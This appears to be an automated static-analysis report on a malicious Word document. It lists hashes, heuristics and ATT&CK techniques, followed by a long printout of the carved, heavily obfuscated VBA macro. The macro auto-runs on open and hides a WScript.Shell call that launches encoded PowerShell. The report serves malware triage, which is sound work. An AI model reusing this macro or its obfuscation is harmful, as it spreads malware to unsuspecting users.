Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fda96a5aac897f3d…

MALICIOUS

Office (OLE)

168.0 KB Created: 2018-03-14 19:03:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 95185ea3a812ddac912c654a23035e1f SHA-1: fed9ca10738fe9296c68f5d00d0cc170d01f7208 SHA-256: fda96a5aac897f3d1d74a7067b148ca14d690bf021c6a8241c0964f121709e09
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the execution of arbitrary commands. The AutoOpen macro is present, and the presence of WScript.Shell and CreateObject points to the likely download and execution of a second-stage payload.

Heuristics 9

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run GDwMLX + aPjAIMOMA + wKqvOUdEwznck + lnsbuchhGsY, vbHide
Select Case zqzddz
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run GDwMLX + aPjAIMOMA + wKqvOUdEwznck + lnsbuchhGsY, vbHide
Select Case zqzddz
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56500 bytes
SHA-256: 1fe536996f21693a6ca74df65627abb9d7ecb0755dab54fcd4b05c7e8371fbc1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
440 of 739 identifiers look randomly generated (e.g. 'D9Vh3AQMAIDAmBwMAIDAkBgMAMGAyAgYAIDAmBAO') — consistent with name-mangling obfuscation. Carved artifact contains 16 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "oHFEvbikB"
Function zpripnwkZCZkaw()
On Error Resume Next
Select Case vmABTU
         Case 89392
            YhnqZ = Fix(83234)
            JBsaA = Int(1608)
         Case 50828
            ISovmC = KiNDz
            wCCjFd = ChrW(IwiZW)
      End Select
YhZXVz = lqIzH + biRkHz("nj%5n1GiB7aI3AwYAUGAlBQNAQDA3AQMAgDA2AQOAUDAkBAZAEGAiBQYAUGAyAgYAADA3AAZAUGAmBAZAEDAlBgZAUDA4AwMAMDAlBAMAQDAlBQZAQDAkBAZAQGAyAQZAkDAkBwNAYDAmBAMAUDAwAANAQDA4AgZAEGA0AQNAkDAxAANAEDAiBgZAUGA3AwYAUGAxAgNAkDA5jUSK", 5, 193)
Select Case vmABTU
         Case 89392
            YhnqZ = Fix(83234)
            JBsaA = Int(1608)
         Case 50828
            ISovmC = KiNDz
            wCCjFd = ChrW(IwiZW)
      End Select
Select Case NAzHdm
         Case 17942
            VRsDG = Fix(15705)
            VTFKwl = Int(96691)
         Case 57869
            SCTDt = jvkjVK
            OdFfO = ChrW(ZGjEuh)
      End Select
zEAYNY = LopMFaV + biRkHz("mQAwMAQGAiBAZAEGAxAQZAQGAyAgYAQGA2AQOAgDA2AAMAUDAyAQYAYDAyAQOAQDAyAwNAUGA1AAZAMDAyAwNAcDA1AANAMDAiBwYAIDKJmiiaaiw", 10, 102)
Select Case NAzHdm
         Case 17942
            VRsDG = Fix(15705)
            VTFKwl = Int(96691)
         Case 57869
            SCTDt = jvkjVK
            OdFfO = ChrW(ZGjEuh)
      End Select
Select Case lJzUit
         Case 33619
            lOXfF = Fix(98470)
            rQECc = Int(26594)
         Case 30455
            ZzzLOi = HZIAV
            jHjNi = ChrW(PbAXt)
      End Select
TBZtBztkhh = qfMaK + biRkHz("<wMv6ir45Ivj$bt$cAYNs.zQi1V2T@9i7$m ) ) ) ))131,821,831,63,142,62,442,17,78,641,14,131,632,17,552,822,37,84,64,041,841,802,59,552,012,041,86,73,461,632,112,3  YEk- gnIRtsErUCeS-OTTrEvNoC |'==AAkw4(", 5, 158)
Select Case lJzUit
         Case 33619
            lOXfF = Fix(98470)
            rQECc = Int(26594)
         Case 30455
            ZzzLOi = HZIAV
            jHjNi = ChrW(PbAXt)
      End Select
Select Case idWEpK
         Case 2228
            YrsMLE = Fix(27607)
            TaavVz = Int(55701)
         Case 11358
            pQhDOZ = mJKwOO
            BVQFv = ChrW(fKqip)
      End Select
pWdSF = rAUzlu + biRkHz("<$Q(K1d5zbk_CVsr@IGAiBgYAUDAlBAMAADAjBwYAIDA2AQZAEDA5AQYAEDAhBgMAUGA2AQZAUDAyAQMAUDAiBwMAQGAmBgYAYDAwAQZAADA0AQNAEwwhm", 5, 97)
Select Case idWEpK
         Case 2228
            YrsMLE = Fix(27607)
            TaavVz = Int(55701)
         Case 11358
            pQhDOZ = mJKwOO
            BVQFv = ChrW(fKqip)
      End Select
Select Case OkXDA
         Case 90194
            ibOXIM = Fix(18646)
            orbiVA = Int(94903)
         Case 76882
            mrFbTw = SULaBU
            cuGGq = ChrW(mEkYsb)
      End Select
rfRrrBB = wvRIfAQ + biRkHz("skEFEiYSMGAlBgZAcDAkBgZAIDA1AwYAUGA4AgNAkDA1AQOAgDA3AQYAIDA4AAMAkDA3AQNAcDAhBgZAkDA3AgYAEGAlBANAADAxAgYAUGAiPG02", 6, 99)
Select Case OkXDA
         Case 90194
            ibOXIM = Fix(18646)
            orbiVA = Int(94903)
         Case 76882
            mrFbTw = SULaBU
            cuGGq = ChrW(mEkYsb)
      End Select
Select Case rXiwX
         Case 11752
            jvslDp = Fix(42843)
            ofkzG = Int(70102)
         Case 18376
            jjDlrn = KqwAYn
            RDjcAS = ChrW(wWDJOn)
      End Select
FpfipRL = zfKIRw + biRkHz("j5!QWE_8GAUGA0AQMAEGA1AgMAEDAiBAMAYDAjBAZAUGAlBQYAUGAlBAMAUGAyAgNAIDAjBgYAMDA3AgMAYDAhBQZAQGAyAAMAUGAyAwYAIDA4AgNAgDA2AgMAEGA5AgNAUDA2AwMAYDAKJ", 3, 132)
Select Case rXiwX
         Case 11752
            jvslDp = Fix(42843)
            ofkzG = Int(70102)
         Case 18376
            jjDlrn = KqwAYn
            RDjcAS = ChrW(wWDJOn)
      End Select
Select Case jsHwdt
         Case 97575
            qrCmPt = Fix(31853)
            FcrCQ = Int(7943)
         Case 38318
            BnOTPP = wiuZrO
            EkhiU = ChrW(ZPiThC)
      End Select
AGIlpX = nlIpifz + biRkHz("hEuqE hA4GAVBwVAEFA8BgM5435a05061b3143240f3476111d29467'($(iSNACoLLAlaBOlgOtgNirTseRuCEs::]LAhSRAm.SeCiVreSpOREtni.EMItNuR[(eKOVNi.)EMAn.]1[)(SREbmEmTeg.]lAHsRam.SeCIvrespOREtnI.eMITnUR[(::]lahSrH[E(zw0b2n", 11, 188)
Select Case jsHwdt
         Case 97575
            qrCmPt = Fix(31853)
            FcrCQ = Int(7943)
         Case 38318
            BnOTPP = wiuZrO
            EkhiU = ChrW(ZPiThC)
      End Select
Select Case mqfuP
         Case 65261
            oYKJaf = Fix(76174)
            YiJKfZ = Int(32979)
         Case 88772
            NibOth = VLTzn
            iJBwX = ChrW(BtpZfi)
      End Select
thLfHDQXIz = cUYMf + biRkHz("F59wwSkwMAEGA1AwNAADA4AAOAcDA2AwMAcDAiBQZAUGA0AwMAMGAjBwNAYDA5AwNAMDAiBmGZPSwraVrYh_Gko$vt!hFik9zkzV", 30, 64)
Select Case mqfuP
         Case 65261
            oYKJaf = Fix(76174)
            YiJKfZ = Int(32979)
         Case 88772
            NibOth = VLTzn
            iJBwX = ChrW(BtpZfi)
      End Select
Select Case SNdjdh
         Case 46158
            NqjVpU = Fix(39711)
            jjTMz = Int(25005)
         Case 38933
            uoHLh = lVFAK
            jwHcwA = ChrW(HdqRj)
      End Select
OrVIPdZNrWP = iFDXu + biRkHz("3jhjENE_LNYDAyAQMAUGAjBgZAADA0AAZAgDA4AQMAYGAjBQYAUGAiBwYAQGAwAQMAUGA3AQMAIGAiBQMAUGA5AQZAEGA5AgYAUGAhBQNAgDAwAQNAMDA0AAOAki(IiwoM_h", 10, 113)
Select Case SNdjdh
         Case 46158
            NqjVpU = Fix(39711)
            jjTMz = Int(25005)
         Case 38933
            uoHLh = lVFAK
            jwHcwA = ChrW(HdqRj)
      End Select
Select Case wvQYZ
         Case 22976
            BUCzhP = Fix(35954)
            jNfIJz = Int(12801)
         Case 55634
            rXDLr = bjNYC
            iZhZP = ChrW(jrPfm)
      End Select
sCrsw = zVSZwvF + biRkHz("%uwC!m!a7nmzp3j<7AkrrAgNAUDA1AANAcDA3AAMAkDAwAQOAEGA4AQYAkDAwAAOAgDAkBQMAIDA3AQZAEDA3AAOAIDAkBQMAYDAmBQNAcDAlBgYAQGAwAgYAIDAiBgZAYGAzAwYAQGA2AQMAgDAxAgYAcDA0AQMAUGA1AgMAUGAhBAOAcDA3AwYAgDAkBQMAQDA5AwYAQDAwAQN)ja7E_6.ifma!ZE", 16, 187)
Select Case wvQYZ
         Case 22976
            BUCzhP = Fix(35954)
            jNfIJz = Int(12801)
         Case 55634
            rXDLr = bjNYC
            iZhZP = ChrW(jrPfm)
      End Select
Select Case JiJPZv
         Case 16538
            YlHHbC = Fix(8899)
            knWJd = Int(41004)
         Case 15719
            OsBSj = fGNoCD
            NbMvw = ChrW(MjChK)
      End Select
BTjPM = LLuFLN + biRkHz("mW]$DA]UVjNh$IV7fEbaDliO!F SGjjahSwMAQDAhBQZAEGAiBwMAEGA4AAZAQDAyAgMAYGAxAAMAADA0AANAYGAyAwYAYGAkBAMAMDAzAQYAMGA3AwMAUGAiBANAYDAyAwNAQGAwAQMAUDA1AgMAcDA1AQMAgDAyAAZAYDAhBwMAUDAjBgZAYDA5AAOAgDAzAgMAkDA5AAMAQDAxAQYAUGA!SO.", 5, 182)
Select Case JiJPZv
         Case 16538
            YlHHbC = Fix(8899)
            knWJd = Int(41004)
         Case 15719
            OsBSj = fGNoCD
            NbMvw = ChrW(MjChK)
      End Select
Select Case ckOsw
         Case 21082
            hdAVOv = Fix(68121)
            ROnHo = Int(85088)
         Case 86626
            qMiscK = qapRmD
            kXDXQW = ChrW(wvNvd)
      End Select
DOjCTazmaj = YUqujzo + biRkHz("ksvjIUdkAANAYDA3AwMAMGAjBQMAQGA1AAMAkDA2AwYAIDA2AwMAgDAiBAOAkDAwAgYAEGA3AAMAYDAwAAMAcDA0AwNAMGAiBAOAUDA5AQOAIDAwAwYAADA0[qzXFpKisWNB(ftm91<E_", 22, 112)
Select Case ckOsw
         Case 21082
            hdAVOv = Fix(68121)
            ROnHo = Int(85088)
         Case 86626
            qMiscK = qapRmD
            kXDXQW = ChrW(wvNvd)
      End Select
Select Case IcWpSc
         Case 85597
            rDrStu = Fix(98580)
            PhZTQ = Int(45243)
         Case 85115
            ikwcTq = mzQEcF
            SmKFq = ChrW(dlrfv)
      End Select
kmPnuwzvX = VStiPj + biRkHz("vqcVIKh4YV2rl(DA5AgNAcDAhBwYAcDAwAAOAMGAzAAMAEGAxAQZAQDAiBQZAIDAkBwYAIDAiBwNAIGA4AAOAYDA2AQZAMGA1AwNAIDA3AAZAcDA0AQZAUDAmBwMAQDA0AgYAUGAlBgZAMDAyAwNAUGA5AAZAcDAmBQMAADA2AwYAEDA0AwYAkDAr%fc22waCs4LPbvc!", 18, 170)
Select Case IcWpSc
         Case 85597
            rDrStu = Fix(98580)
            PhZTQ = Int(45243)
         Case 85115
            ikwcTq = mzQEcF
            SmKFq = ChrW(dlrfv)
      End Select
Select Case BHFNm
         Case 3239
            Xzcnck = Fix(23629)
            TzrtfW = Int(93461)
         Case 42763
            wziHft = kwfGo
            rupMO = ChrW(bpGbu)
      End Select
RSYNm = DQGCil + biRkHz("QT2aZKQ.uMDA3AANAUDA1AAOAUDAlBQMAMDAzAwNAMDAxAQZAYGA2AQNAUDAiBAZAcDA0AQYAYGAyAwYAIDA4AQZAIDAhBQOAEGA4AwMAMGAwDsnkvaVvtHZwvjpacjniwVNcm", 27, 99)
Select Case BHFNm
         Case 3239
            Xzcnck = Fix(23629)
            TzrtfW = Int(93461)
         Case 42763
            wziHft = kwfGo
            rupMO = ChrW(bpGbu)
      End Select
Select Case iMBLzU
         Case 19305
            JCGKL = Fix(58989)
            QBdwC = Int(63619)
         Case 13264
            BoujQ = Kruzs
            Sqbbl = ChrW(kYrBNC)
      End Select
wpwiUnjviVm = Gluhrh + biRkHz(".52kN0.K3zrNsaVDMEwKnSDA3AQYAUGAwAQMAUDAwAgMAADA0AwMAMDAzAwYAEGAlBQOAUDA0AgMAUGAkBwNAUGAiBANAYGAjBAOAUDA3AQOAkDAiBwYAYDA4AAOAYGA2AQNAMGAyAgNAADAzAwMAIGAkBAZAYGAmBgMAEGAyAAMAMGAzAQMAADAhBwNAcDAkBgNAUGAkBAZANswihUi.r", 10, 183)
Select Case iMBLzU
         Case 19305
            JCGKL = Fix(58989)
            QBdwC = Int(63619)
         Case 13264
            BoujQ = Kruzs
            Sqbbl = ChrW(kYrBNC)
      End Select
Select Case XUmil
         Case 33914
            KtuzoM = Fix(29650)
            awCYdE = Int(98505)
         Case 23745
            czMzfh = hzjvmz
            dKscjF = ChrW(XESlpF)
      End Select
ivQLWMTq = KAiwX + biRkHz("JcbHa!tiBfkviN1G[1.JjzA1AwMAYGAhBwYAEGA2AgYAUGA5AwMAIDAyAANAIDAiBQYAEGAjBQZAUDAiBAZAIDAiBAOAYcfw$X<w", 8, 71)
Select Case XUmil
         Case 33914
            KtuzoM = Fix(29650)
            awCYdE = Int(98505)
         Case 23745
            czMzfh = hzjvmz
            dKscjF = ChrW(XESlpF)
      End Select
Select Case fwwGQi
         Case 97495
            zdIqB = Fix(32194)
            ujJKYU = Int(29465)
         Case 43211
            JfqrTS = ZCiaW
            CwmAV = ChrW(KEsLRr)
      End Select
RMPsfi = kqNXIr + biRkHz("AOi%Fmmi!@kIV1rsFKiqNNi_s%uWj4AwYAgDA!juso6", 7, 8)
Select Case fwwGQi
         Case 97495
            zdIqB = Fix(32194)
            ujJKYU = Int(29465)
         Case 43211
            JfqrTS = ZCiaW
            CwmAV = ChrW(KEsLRr)
      End Select
Select Case EEORCc
         Case 47735
            slboUU = Fix(74846)
            EMJCY = Int(32981)
         Case 41221
            OVWDBF = hdNiz
            XosXFm = ChrW(YOsuW)
      End Select
ZDGLOi = zjpFN + biRkHz("BzQ.Y)kBgYAYGAiBgNAIDA5AQOAYGAzAwMAEDAkBQNAEGAxAQOAcDA2AgMAkDAhBgMAADAwAQOAADA3AAMAQGA5AAZAEGAzAAZAMGAmBQNAkDAyAQYAUGAiBAOAYDA1AwYAADAzAgYAIDA5AgNAYDA5AgYAQDAjBQOAgDAjBwNS!vfMIA9wNVkiw.m", 17, 164)
Select Case EEORCc
         Case 47735
            slboUU = Fix(74846)
            EMJCY = Int(32981)
         Case 41221
            OVWDBF = hdNiz
            XosXFm = ChrW(YOsuW)
      End Select
Select Case sKpDVG
         Case 80909
            EwbthV = Fix(59603)
            wCXthU = Int(11091)
         Case 25792
            HMmjwF = FzllXR
            OsAUBY = ChrW(CipkG)
      End Select
RifiitTV = VwNZBmi + biRkHz("%vXjA(3q2D8(nOsmPm70wA1AANAEGAkBQYAIGAxAQOAQDAlBwYAMDAlBANAUGAxAAMAMGAlBwMAIGA5AwYAADA1AgYAQDAhBQMAkDAzAQZAEGA4AwMAEDAyAgYAUGA3AQYAkDA0AQZAQGAjBAOAMDA5AANAYDAlBgMAQGA1AAOAjN<KtrK", 8, 150)
Select Case sKpDVG
         Case 80909
            EwbthV = Fix(59603)
            wCXthU = Int(11091)
         Case 25792
            HMmjwF = FzllXR
            OsAUBY = ChrW(CipkG)
      End Select
Select Case iswmcn
         Case 92038
            ZPrqEP = Fix(43766)
            nZPtoF = Int(29274)
         Case 57576
            oRiLZ = AbEljL
            Aluftj = ChrW(aMkwp)
      End Select
GjZcaMRXKz = NOwXEcO + biRkHz("[[1NjQRSnjzh.QU$wMAEGA2AgYAgDAzAANAgDAlBQYAMGAzAQYAkDAwAgMAgDA1AgMAMGAkBAZAEGAmBgMAkDAiBQZAMDAyAwMAMDA4AgYAIGAjBQMAYDAlBwMAIDA1AQZAUGAzAANAYDAyAAZAgDA2AgYAQGA$w@ES", 6, 142)
Select Case iswmcn
         Case 92038
            ZPrqEP = Fix(43766)
            nZPtoF = Int(29274)
         Case 57576
            oRiLZ = AbEljL
            Aluftj = ChrW(aMkwp)
      End Select
Select Case CshEcN
         Case 20197
            ZVaEMd = Fix(20281)
            kjTkHn = Int(64764)
         Case 90901
            ANcpH = aLZLz
            AihkjI = ChrW(DIbzp)
      End Select
aJwzJAjCQZ = AjLmd + biRkHz("Vt9(cDA1AAOAUDAkBAZAIDAkBAMAcDAmBgMAADA4AAMAYDAzAAMAIGAlBAZAcDAiBgMAF4.0PvAjApQ[Y_o2NjF6oM72(Kw7j@4Pi@", 35, 64)
Select Case CshEcN
         Case 20197
            ZVaEMd = Fix(20281)
            kjTkHn = Int(64764)
         Case 90901
            ANcpH = aLZLz
            AihkjI = ChrW(DIbzp)
      End Select
Select Case NJJFd
         Case 86388
            hEGPM = Fix(67064)
            jlSZq = Int(23047)
         Case 16027
            nGniim = rzmNoz
            IucOW = ChrW(tpihG)
      End Select
cmcFKCILmws = onnAhP + biRkHz("JN3USBQN(xAQYAMGAjBAZAIDAwAgYAUDA1AANAIDA1AAMAUGA4AQOAcDAmBQOAIDAlBANAMDAkBgNAEDAhBwYAUDA3AANAMGAyAANAADAxAAOAcDAyAgZAEDAiBwYAIDA5AgMAQDAmBgMAEDAmBAZAADAjBgZAUGAwAQOAUDA5AgYAkDA5!J)Ejs$5QqSQ.1FiUBoFmjj5rlZ<", 29, 169)
Select Case NJJFd
         Case 86388
            hEGPM = Fix(67064)
            jlSZq = Int(23047)
         Case 16027
            nGniim = rzmNoz
            IucOW = ChrW(tpihG)
      End Select
Select Case LWFls
         Case 31748
            aqDUL = Fix(93110)
            wdUGzq = Int(49831)
         Case 13782
            bwslLR = HhJjzw
            mzbmG = ChrW(OJCtp)
      End Select
cQNRVFXDbP = Urchzw + biRkHz("!lajwsz$MEiam.SecIVreSpOrETnI.EmiTnUr[ ((xeiD", 2, 33)
Select Case LWFls
         Case 31748
            aqDUL = Fix(93110)
            wdUGzq = Int(49831)
         Case 13782
            bwslLR = HhJjzw
            mzbmG = ChrW(OJCtp)
      End Select
Select Case jzHdKF
         Case 34614
            JLPRt = Fix(35440)
            tTOLG = Int(7484)
         Case 21584
            TOshX = MTpZO
            YnvtH = ChrW(MoPtwh)
      End Select
wWBvMG = tzpYr + biRkHz("@AA.zF.Xh.T6AEDAhBQZAUDAmBgMAUGAiBAZAEGAhBQNAEGAlBANAIGAzAgYAMDAlBQNAEDAlBAOAUDAiBQNAEGAjBgYAIGA0AQMAEGAxAAZAkDAjBgMAgDAjBgMAIDAzAAOAIGAzAAOAMDjm(", 4, 131)
Select Case jzHdKF
         Case 34614
            JLPRt = Fix(35440)
            tTOLG = Int(7484)
         Case 21584
            TOshX = MTpZO
            YnvtH = ChrW(MoPtwh)
      End Select
Select Case SLWbt
         Case 67655
            WiXjU = Fix(13874)
            uLHlk = Int(26380)
         Case 52180
            daJAzp = rtdFQW
            aqbiC = ChrW(lsRoc)
      End Select
CCUAYfPOY = iOkOiPi + biRkHz("rAv%H<%BBFl.hfjRhZ(A0AAOAcDAyAQOAEDAwAQOAMGA5AAOAIDAmBANAQGA4AAMAMDAyAQMAMGA1AAMAEGA2AwNAMDAmBAOAYGAzAwYAUDA0AAOAgDAyAwYAYDAlBwMAYDAkBwMAEDA0AAMAMGA2AQMAMGAwAwNAADAxAwNAUDAmBAOAQGA3AgNAkDA0AQMAMDAzH$D", 5, 177)
Select Case SLWbt
         Case 67655
            WiXjU = Fix(13874)
            uLHlk = Int(26380)
         Case 52180
            daJAzp = rtdFQW
            aqbiC = ChrW(lsRoc)
      End Select
Select Case MLtzE
         Case 92748
            CzGaG = Fix(1347)
            cuNvV = Int(50776)
         Case 89335
            lwNiwn = pcdrR
            YjEKNw = ChrW(tjkEOs)
      End Select
EWYZB = zpZsLjk + biRkHz("hN4auWN%GE)m<@J_or9GAlBwNAEGA5AAMAUGAxAwMAUGA4AQMAkDAxAgZAQGA2AgMAYDAwAANAIDAjBAMAgDAwAgZAgDAyAgZAIDAzAAMAIDA5AQYAMDAzAANAEDAhBgZAcDAxAQZAkDA3AgMAcDAmBANAMGAkBgNAIDAyAQYAMGAxAgYAADA0AgYAcDA4AAZAADAiBQZAQGAjBgMA3d4tmzss", 9, 191)
Select Case MLtzE
         Case 92748
            CzGaG = Fix(1347)
            cuNvV = Int(50776)
         Case 89335
            lwNiwn = pcdrR
            YjEKNw = ChrW(tjkEOs)
      End Select
Select Case XzwjZS
         Case 62383
            HAEbT = Fix(18566)
            YACbL = Int(32879)
         Case 47388
            rwLphX = qpEbG
            bOiKjF = ChrW(iKjizj)
      End Select
PFzJcE = nwqIKdX + biRkHz(".DS41vqbVZAEDA5AAMAMWw0$i", 6, 11)
Select Case XzwjZS
         Case 62383
            HAEbT = Fix(18566)
            YACbL = Int(32879)
         Case 47388
            rwLphX = qpEbG
            bOiKjF = ChrW(iKjizj)
      End Select
Select Case ohEVc
         Case 70690
            swzzY = Fix(89883)
            hCZPP = Int(2444)
         Case 58160
            NwBDXu = RaGWK
            kjtWC = ChrW(NXmumZ)
      End Select
LBqRWJFQMz = HTpQYzE + biRkHz("QN0QZAIDAkBgNAYDAxAgZAcDA2AwYAIGA4AAZAADA0AAOAYGAmBgZAkDA4AQMAUDAjBgZAcDAmBgMAUGAiBwYAQGA3AANAUGAyAQYAUDA3AAZAYGA3AQMAYDAjBgYAYDAxAAMAQGAkBgYAUDA1AAOAQDfFjjipiAn24vDO1oG5W.KjHSN", 26, 149)
Select Case ohEVc
         Case 70690
            swzzY = Fix(89883)
            hCZPP = Int(2444)
         Case 58160
            NwBDXu = RaGWK
            kjtWC = ChrW(NXmumZ)
      End Select
Select Case fRtOu
         Case 92841
            kYzrjt = Fix(46971)
            HCUcVD = Int(55909)
         Case 76508
            sYuVM = YlnRaK
            IozuY = ChrW(zRhIm)
      End Select
MjmpUYZUuk = pjpLi + biRkHz("MAIVmmdfMiw8Cfj(09vflYciiBANAcDAzAwMAADAkBQNAkDA3AQMAgDA0AQYAgDAhBwYAADAlBgMAUGAmBwNAADA3AQYAgDAkBgZAEDA5AAMAUDAzAgNAADA1AgZAQDAkBAZAUDAlBAOAUGA4AgZAQDAlBA_Tw", 5, 130)
Select Case fRtOu
         Case 92841
            kYzrjt = Fix(46971)
            HCUcVD = Int(55909)
         Case 76508
            sYuVM = YlnRaK
            IozuY = ChrW(zRhIm)
      End Select
Select Case XShrTm
         Case 47944
            nrctcj = Fix(97378)
            DKQKOo = Int(388)
         Case 9300
            dXbWBu = ZrnKS
            fLkjtH = ChrW(EwktM)
      End Select
pCZujVl = pYtww + biRkHz("$4RC#wd3i[(i5O.4r]2MaTxAAOAIGAhBgYAYDAwAAMAIGA2AQMAcDA3AgNAQGAyAwNAQGA4AQMAh7v(mta@!j)r", 13, 53)
Select Case XShrTm
         Case 47944
            nrctcj = Fix(97378)
            DKQKOo = Int(388)
         Case 9300
            dXbWBu = ZrnKS
            fLkjtH = ChrW(EwktM)
      End Select
Select Case PPAmVd
         Case 58506
            AlopTw = Fix(3866)
            dbjTmM = Int(61350)
         Case 99738
            CEEih = wdDmad
            wSpYJK = ChrW(aGWXua)
      End Select
rJVvaViNdC = QnPTiSd + biRkHz("oSvp.DA5AwMAkDA0Twj.8qP)X[jRF.jjT(GW$", 22, 11)
Select Case PPAmVd
         Case 58506
            AlopTw = Fix(3866)
            dbjTmM = Int(61350)
         Case 99738
            CEEih = wdDmad
            wSpYJK = ChrW(aGWXua)
      End Select
Select Case vMjzX
         Case 84680
            aYljRZ = Fix(97334)
            nkcpB = Int(80446)
         Case 2580
            wilGik = qkfzj
            XdcCYX = ChrW(LpZfk)
      End Select
NDKhh = HRBDk + biRkHz(" 1iiAlBwNAQDA1AQYAADA5AgYAEGAhBwYAcDA5AAMAUDA4AgZAEGA0AQNAkYi50[", 7, 54)
Select Case vMjzX
         Case 84680
            aYljRZ = Fix(97334)
            nkcpB = Int(80446)
         Case 2580
            wilGik = qkfzj
            XdcCYX = ChrW(LpZfk)
      End Select
Select Case tzsYm
         Case 56303
            vRalhz = Fix(25337)
            MpJGWj = Int(95376)
         Case 80074
            OWvRp = jKKWiT
            vFLiWY = ChrW(jqFwAO)
      End Select
iKGHYMoBI = soAvY + biRkHz("w3YMbtTNaVwN3AwYAYGAyAgZAgDAyAQNAcDAkBgZAMGAzAANAQGAkBAMAIGN", 2, 47)
Select Case tzsYm
         Case 56303
            vRalhz = Fix(25337)
            MpJGWj = Int(95376)
         Case 80074
            OWvRp = jKKWiT
            vFLiWY = ChrW(jqFwAO)
      End Select
Select Case Qdlwwc
         Case 94196
            IiaUEM = Fix(92907)
            fKdQl = Int(27905)
         Case 36846
            nILzfR = InHsv
            VOYwpK = ChrW(qFarr)
      End Select
dGLtRuPrwFG = owWfwH + biRkHz("DAYsZcCMp!MA(YqplT_RMAgMAUGA3AwYAUGA0AgYAEDA4AQYAMGAyAwNAADAjBANAIDA0AwNAEGAkBAOAUGAhBQNAEDAjBwMAYGAyAQNAMDAhBgZAUDAlBQMAUDAiBwMAYDAwAijUjM%i(M0$19zVs[", 18, 113)
Select Case Qdlwwc
         Case 94196
            IiaUEM = Fix(92907)
            fKdQl = Int(27905)
         Case 36846
            nILzfR = InHsv
            VOYwpK = ChrW(qFarr)
      End Select
Select Case UbcDW
         Case 29286
            LpOjl = Fix(6977)
            zItaFa = Int(34569)
         Case 2558
            vkIwW = hHlzFn
            JiOBj = ChrW(PVmJL)
      End Select
HRvVmQXIdNZ = dsDpO + biRkHz("uB@D9Vh3AQMAIDAmBwMAIDAkBgMAMGAyAgYAIDAmBAOAIGAjBAMAcDAzAAZAMGAyAgYAIGAhBgMAADAzAQNAMGA3AAMAADA1AAOAgDAwAgZAcDAhBANAADA4AwNAYGA1AwNAwHA9AQPAEEAvBgWAkEA4BAMAIGAaBAeAwGApBgbAsCAjBQcAwEAiBgbR[GWvcOib$p", 12, 180)
Select Case UbcDW
         Case 29286
            LpOjl = Fix(6977)
            zItaFa = Int(34569)
         Case 2558
            vkIwW = hHlzFn
            JiOBj = ChrW(PVmJL)
      End Select
Select Case rziBpd
         Case 5323
            ksZji = Fix(92229)
            wmjwd = Int(15726)
         Case 57108
            CftcNz = PGiDq
            Aazvd = ChrW(UiKUNi)
      End Select
nVcsnhnzlPL = htwmsQk + biRkHz("7GD_4mtXOzZf7jivQqNUQiDJfzTmEGAjBANAADAyAQZAQGAyAgZAYDA0AwMAEDAjBgMAIDA3AQYAUDAlBgMAADA3AgMAIGAkBgMAIDA1AQOAcDA4AgZAgDA1AAZAYDAmBANAIDA4AQNAIGA2AQMAIGA2AgNAQGA0AAZAQGA1AgYAgDA2AwNAEDAyAAOAIGAwAAOAEGA1AgMAMGAkBgMAUGAjBAHBA9hfkJP4", 11, 190)
Select Case rziBpd
         Case 5323
            ksZji = Fix(92229)
            wmjwd = Int(15726)
         Case 57108
            CftcNz = PGiDq
            Aazvd = ChrW(UiKUNi)
      End Select
Select Case DsWVKG
         Case 35762
            TFPJr = Fix(24472)
            MBTtz = Int(34671)
         Case 57293
            wDDzO = UsZkW
            DrTFcW = ChrW(jIIGl)
      End Select
sWlACYiRV = btBrpb + biRkHz("bzNwibBE_jSS(QMAMGAwAAOAQDAxAgMAgDAxAANAYDAmBAOAIDAmBAZAIDAxAgYAMDAyAAMAMDAhBwNAIGAiBQOAYGA1AQMAYDAiBwNAQDA2AQNAEDAmBQOAUGAzAgNAMGA5AwYAMGAkBgMAUDA3AgNAEGAwAAMAADAiBQYAADAwAwMAcDAhBQYAMGAwAgMAMGA2AdGN(9", 6, 184)
Select Case DsWVKG
         Case 35762
            TFPJr = Fix(24472)
            MBTtz = Int(34671)
         Case 57293
            wDDzO = UsZkW
            DrTFcW = ChrW(jIIGl)
      End Select
Select Case NRYGdS
         Case 65148
            fcUfb = Fix(604)
            fuGtDb = Int(25097)
         Case 72748
            cqZwRB = qhcqLB
            TqQii = ChrW(nMlMn)
      End Select
